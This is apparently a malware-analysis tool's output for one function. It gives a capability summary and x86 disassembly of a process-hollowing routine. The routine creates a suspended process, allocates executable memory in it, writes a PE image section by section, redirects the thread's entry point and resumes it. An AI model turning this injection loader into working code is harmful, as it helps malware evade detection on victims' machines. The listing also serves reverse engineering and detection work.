Function at 0x4012b0
Capabilities:
Allocate or change rwx memory
Create process on windows
Create process suspended
Execute shellcode via indirect call
Parse pe header
Resume thread
Use process replacement

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff0
sub esp, 0x2b8
mov eax, dword [section..data]
xor eax, esp
mov dword [esp + 0x2b4], eax
mov eax, ecx
mov ecx, 0x5a4d
push esi
push edi
mov dword [esp + 0xc], eax
cmp word [eax], cx
jne 0x4014be
mov edi, dword [eax + 0x3c]
add edi, eax
cmp dword [edi], 0x4550
jne 0x4014be
push 0x104
lea eax, [esp + 0xac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
push 0x44
lea eax, [esp + 0x64]
xorps xmm0, xmm0
push 0
push eax
movaps xmmword [esp + 0x2c], xmm0
call sub.VCRUNTIME140.dll_memset
add esp, 0xc
lea eax, [esp + 0x20]
push eax
lea eax, [esp + 0x64]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
push 0
lea eax, [esp + 0xcc]
push eax
call dword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x4014be
push 0x2cc
push 8
call dword [sym.imp.KERNEL32.dll_GetProcessHeap]
push eax
call dword [sym.imp.KERNEL32.dll_HeapAlloc]
push eax
mov dword [esp + 0x1c], eax
mov dword [eax], 0x10007
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_GetThreadContext]
test eax, eax
je 0x4014ac
mov esi, dword [esp + 0x20]
push str.NtQueryInformationProcess
push str.ntdll.dll
call dword [sym.imp.KERNEL32.dll_GetModuleHandleW]
push eax
call dword [sym.imp.KERNEL32.dll_GetProcAddress]
lea ecx, [esp + 0x5c]
mov dword [esp + 0x5c], 0
push ecx
push 0x18
lea ecx, [esp + 0x38]
xorps xmm0, xmm0
push ecx
push 0
push esi
movaps xmmword [esp + 0x44], xmm0
movq qword [esp + 0x54], xmm0
call eax
mov esi, dword [sym.imp.KERNEL32.dll_VirtualAllocEx]
xor ecx, ecx
push 0x40
push 0x3000
push dword [edi + 0x50]
test eax, eax
push dword [edi + 0x34]
cmovns ecx, dword [esp + 0x44]
push dword [esp + 0x30]
mov dword [esp + 0x28], ecx
call esi
mov dword [esp + 0x1c], eax
test eax, eax
jne 0x401403
push 0x40
push 0x3000
push dword [edi + 0x50]
push eax
push dword [esp + 0x30]
call esi
mov eax, dword [esp + 0x1c]
push 0
push dword [edi + 0x54]
push dword [esp + 0x14]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
movzx esi, word [edi + 0x14]
xor eax, eax
mov ecx, dword [esp + 0xc]
add esi, 0x28
add esi, ecx
mov dword [esp + 0x10], 0
cmp ax, word [edi + 6]
jae 0x40146b
add esi, dword [ecx + 0x3c]
mov eax, dword [esi + 4]
push 0
push dword [esi]
add eax, ecx
push eax
mov eax, dword [esi - 4]
add eax, dword [esp + 0x28]
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x10]
lea esi, [esi + 0x28]
movzx eax, word [edi + 6]
inc ecx
mov dword [esp + 0x10], ecx
cmp ecx, eax
mov ecx, dword [esp + 0xc]
jl 0x401437
push 0
push 4
lea eax, [esp + 0x24]
push eax
mov eax, dword [esp + 0x20]
add eax, 8
push eax
push dword [esp + 0x30]
call dword [sym.imp.KERNEL32.dll_WriteProcessMemory]
mov ecx, dword [esp + 0x18]
mov eax, dword [edi + 0x28]
add eax, dword [esp + 0x1c]
push ecx
mov dword [ecx + 0xb0], eax
push dword [esp + 0x28]
call dword [sym.imp.KERNEL32.dll_SetThreadContext]
push dword [esp + 0x24]
call dword [sym.imp.KERNEL32.dll_ResumeThread]
push dword [esp + 0x24]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
push dword [esp + 0x20]
call esi
mov ecx, dword [esp + 0x2bc]
pop edi
pop esi
xor ecx, esp
call fcn.00401b1c
mov esp, ebp
pop ebp
ret